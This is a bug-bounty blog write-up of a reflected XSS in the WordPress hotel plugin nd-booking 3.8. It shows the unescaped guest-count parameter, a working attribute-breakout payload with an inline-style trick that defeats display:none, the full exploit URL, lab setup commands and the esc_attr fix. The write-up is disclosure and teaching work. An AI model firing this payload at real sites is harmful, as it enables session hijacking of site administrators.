September 23, 2026
I Found an Unauthenticated XSS in a WordPress Hotel Plugin — Then Someone Beat Me to It by a Week
A reflected XSS in nd-booking, a display:none trap that fools most PoCs, and an honest look at what “duplicate” really means in bug bounty.

By Mr Abdullah
5 min read
Lab-only, responsible disclosure:_ I reported this through Patchstack and tested everything on my own local WordPress install with fake data. Never run any of this against a site you don't own. This writeup is here to teach the_ method — the finding itself is already known to the vendor.
The unglamorous truth about bug hunting
Everyone wants the story where you find the bug. Nobody tells the one where you find it, write a clean report, hit submit… and get back a single word: Duplicate. Somebody reported the same thing days before you.
That happened to me with this one. And I decided to write it up anyway — because the process was solid, the bug is real, and there's a technical trap in it that catches almost everyone who tries to PoC it. If you're learning, a "duplicate" you understand deeply is worth more than a fluke accept you can't explain.
So here's the whole thing, warts and all.
The target
nd-booking (also called "Booking — nd-booking"), a hotel/room booking plugin by ND Themes. It powers the classic "pick your check-in, check-out, and number of guests, see available rooms" flow you've seen on a hundred hotel sites. The version I looked at was 3.8 — the latest.
Booking plugins are a nice hunting ground: they take a lot of user input from the URL (dates, guest counts, filters) and echo a lot of it back onto the results page. Anywhere input goes out to the page without escaping is a potential XSS. So I went looking for exactly that.
Following the guest count
The search flow builds a "Search Results" page from a shortcode, [nd_booking_search_results]. When you submit a search, the plugin reads your inputs from the URL. Here's where the guest count comes in (inc/shortcodes/nd_booking_search_result.php):
$nd_booking_archive_form_guests = sanitize_text_field($_GET['nd_booking_archive_form_guests']);$nd_booking_archive_form_guests = sanitize_text_field($_GET['nd_booking_archive_form_guests']);sanitize_text_field() sounds reassuring, but it only strips HTML tags (anything with < >). It leaves quotes alone. So the question becomes: where does this value get printed, and is it escaped there?
I found it printed straight into an input's value attribute (inc/shortcodes/include/search-results/nd_booking_search_results_left_content.php, line 353):
<input ... name="nd_booking_archive_form_guests" ... min="1"
value="'.$nd_booking_archive_form_guests.'" /><input ... name="nd_booking_archive_form_guests" ... min="1"
value="'.$nd_booking_archive_form_guests.'" />No esc_attr(). The value goes into an HTML attribute completely raw (minus tags). That means I don't need < or > at all — I just need a " to break out of the attribute and start adding my own.
The shortcode is public (add_shortcode('nd_booking_search_results', ...)), no login required. Textbook setup for unauthenticated reflected XSS.
"But WordPress adds slashes!" — why that doesn't save it
If you know WordPress, you know it runs addslashes() on every request value (wp_magic_quotes()), so my " arrives as ". A lot of people stop here and assume they're blocked.
They're not — and this is the part worth internalizing. In a SQL string, that added backslash neutralizes the quote. But in an HTML attribute, the backslash is just a literal character the browser doesn't care about. The " still closes the attribute:
value="1\" autofocus onfocus=alert(document.domain) x" />value="1\" autofocus onfocus=alert(document.domain) x" />The browser sees: value is 1\, attribute closed, then autofocus, then onfocus=... as new attributes. Context is everything. The same payload that dies in a SQL query sails through in HTML.
The trap that fools most PoCs: display:none
Here's where I almost fooled myself. The "obvious" payload is:
1" autofocus onfocus=alert(document.domain) x1" autofocus onfocus=alert(document.domain) xautofocus should focus the input on load, onfocus should fire. Clean, no-click XSS. Except… when I ran it on the real page, nothing happened.
Why? Look at the input's class:
<input ... class="nd_booking_section nd_booking_display_none" ...><input ... class="nd_booking_section nd_booking_display_none" ...>That guests input is hidden (display:none). And a hidden element can't be focused — so autofocus/onfocus never trigger. This is exactly the kind of thing you only catch on a real install, not a code-only guess.
The fix is simple once you see it: since I'm already injecting attributes, I inject an inline style too. Inline styles override a CSS class, so I force the element visible, and then autofocus works:
1" style=display:block;position:fixed;top:0;left:0;width:200px;height:60px autofocus onfocus=alert(document.domain) x1" style=display:block;position:fixed;top:0;left:0;width:200px;height:60px autofocus onfocus=alert(document.domain) xThat fires with zero clicks. Lesson: always reproduce on the actual rendered page. Emulating the sink line in isolation would've told me the first payload worked — the live page told me the truth.
Building a safe lab on Kali
Here's the exact local setup I used. Nothing leaves 127.0.0.1.
1. Stack
sudo apt update
sudo apt install -y apache2 mariadb-server php php-mysql php-xml php-curl php-gd php-mbstring libapache2-mod-php unzip curl
sudo systemctl start mariadbsudo apt update
sudo apt install -y apache2 mariadb-server php php-mysql php-xml php-curl php-gd php-mbstring libapache2-mod-php unzip curl
sudo systemctl start mariadb2. Database
sudo mysql -e "CREATE DATABASE wp; \
CREATE USER 'wp'@'localhost' IDENTIFIED BY 'wp'; \
GRANT ALL ON wp.* TO 'wp'@'localhost'; FLUSH PRIVILEGES;"sudo mysql -e "CREATE DATABASE wp; \
CREATE USER 'wp'@'localhost' IDENTIFIED BY 'wp'; \
GRANT ALL ON wp.* TO 'wp'@'localhost'; FLUSH PRIVILEGES;"3. WP-CLI + WordPress
curl -O https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar
chmod +x wp-cli.phar && sudo mv wp-cli.phar /usr/local/bin/wp
mkdir -p ~/labs/ndbooking && cd ~/labs/ndbooking
wp core download
wp config create --dbname=wp --dbuser=wp --dbpass=wp --dbhost=localhost
wp core install --url="http://127.0.0.1:8081" --title="Lab Hotel (TEST)" \
--admin_user=admin --admin_password='Admin!2345' \
--admin_email=admin@example.test --skip-emailcurl -O https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar
chmod +x wp-cli.phar && sudo mv wp-cli.phar /usr/local/bin/wp
mkdir -p ~/labs/ndbooking && cd ~/labs/ndbooking
wp core download
wp config create --dbname=wp --dbuser=wp --dbpass=wp --dbhost=localhost
wp core install --url="http://127.0.0.1:8081" --title="Lab Hotel (TEST)" \
--admin_user=admin --admin_password='Admin!2345' \
--admin_email=admin@example.test --skip-email4. Plugin + a page with the shortcode
wp plugin install nd-booking --version=3.8 --activate
wp post create --post_type=page --post_status=publish \
--post_title="Search Results" --post_content='[nd_booking_search_results]' --porcelain
# note the page ID it prints (e.g. 4)
wp server --host=127.0.0.1 --port=8081 # leave runningwp plugin install nd-booking --version=3.8 --activate
wp post create --post_type=page --post_status=publish \
--post_title="Search Results" --post_content='[nd_booking_search_results]' --porcelain
# note the page ID it prints (e.g. 4)
wp server --host=127.0.0.1 --port=8081 # leave runningFiring it
As a logged-out user, visit the search-results page with the payload in the guests parameter (replace 4 with your page ID):
http://127.0.0.1:8081/?page_id=4&nd_booking_archive_form_date_range_from=01/01/2025&nd_booking_archive_form_date_range_to=01/02/2025&nd_booking_archive_form_guests=1%22%20style%3Ddisplay%3Ablock%3Bposition%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A200px%3Bheight%3A60px%20autofocus%20onfocus%3Dalert(document.domain)%20xhttp://127.0.0.1:8081/?page_id=4&nd_booking_archive_form_date_range_from=01/01/2025&nd_booking_archive_form_date_range_to=01/02/2025&nd_booking_archive_form_guests=1%22%20style%3Ddisplay%3Ablock%3Bposition%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A200px%3Bheight%3A60px%20autofocus%20onfocus%3Dalert(document.domain)%20xYou need both date parameters present — that's the branch that reads the guest value. The page loads, the forced-visible input auto-focuses, and:
alert("127.0.0.1") — executed in the page originalert("127.0.0.1") — executed in the page originJavaScript running in the site's origin from a URL parameter, no login, no click beyond opening the link. That's reflected XSS. In a real attack, you'd send that link to a logged-in admin and run code in their session.
Quick sanity check without a browser — confirm the breakout in the raw HTML:
curl -s 'http://127.0.0.1:8081/?page_id=4&nd_booking_archive_form_date_range_from=01/01/2025&nd_booking_archive_form_date_range_to=01/02/2025&nd_booking_archive_form_guests=1%22%20autofocus%20x' \
| grep 'name="nd_booking_archive_form_guests"'
# -> value="1\" autofocus x" /> <-- attribute is broken opencurl -s 'http://127.0.0.1:8081/?page_id=4&nd_booking_archive_form_date_range_from=01/01/2025&nd_booking_archive_form_date_range_to=01/02/2025&nd_booking_archive_form_guests=1%22%20autofocus%20x' \
| grep 'name="nd_booking_archive_form_guests"'
# -> value="1\" autofocus x" /> <-- attribute is broken openThe fix (one function)
Escape on output. Every reflected value, every time:
value="'.esc_attr($nd_booking_archive_form_guests).'" />value="'.esc_attr($nd_booking_archive_form_guests).'" />esc_attr() turns the " into ", and the breakout is dead. The same value is echoed in a couple of other spots (an <h1> and a second results variant) — all of them should be escaped too. Sanitizing on input with sanitize_text_field() was never the right tool for output safety; escaping is context-specific and belongs at the point of printing.
About that "Duplicate"
Someone reported this to Patchstack about a week before I did. It stings for a second, then you get over it, because here's the reality of this game:
- Duplicates mean you're hunting in the right places. If a real researcher found the same bug independently, your instincts are calibrated.
- The bug was real. A duplicate isn't a false positive — it's confirmation you were right, minus the credit.
- Speed and coverage are how you avoid it: newer plugins, less-trodden parameters, and reporting the day you confirm, not a week later.
I'd rather post an honest "here's a duplicate and everything I learned from it" than pretend I only ever land clean. If you're learning, collect these. Ten deeply-understood duplicates will make you far more dangerous than one lucky accept.
Takeaways
For developers:
sanitize_text_field()is not output escaping. Useesc_attr()in attributes,esc_html()in text,esc_url()in URLs — at the moment you print.- Assume every
$_GET/$_POSTvalue is hostile, even a "number of guests." - Hidden inputs still reflect.
display:noneis not a security control.
For hunters:
- Learn your contexts. The magic-quotes backslash blocks SQL, not HTML attributes. Knowing that difference is half the job.
- Reproduce on the real page. The
display:nonetrap here is invisible in a code-only PoC and obvious the second you load the page. - Report fast. A confirmed bug sitting in your drafts for a week is a duplicate waiting to happen.
Disclosure
- Reviewed the latest version in a local lab; confirmed live with a forced-visible autofocus payload.
- Reported via Patchstack — came back as a duplicate of an earlier submission.
- Published after the issue was known to the vendor.
Set up the lab, load the real page, and watch the display:none trap for yourself — that one lesson is worth the whole exercise.
Test only what's yours. Report fast. And keep your duplicates — they're proof you're getting good.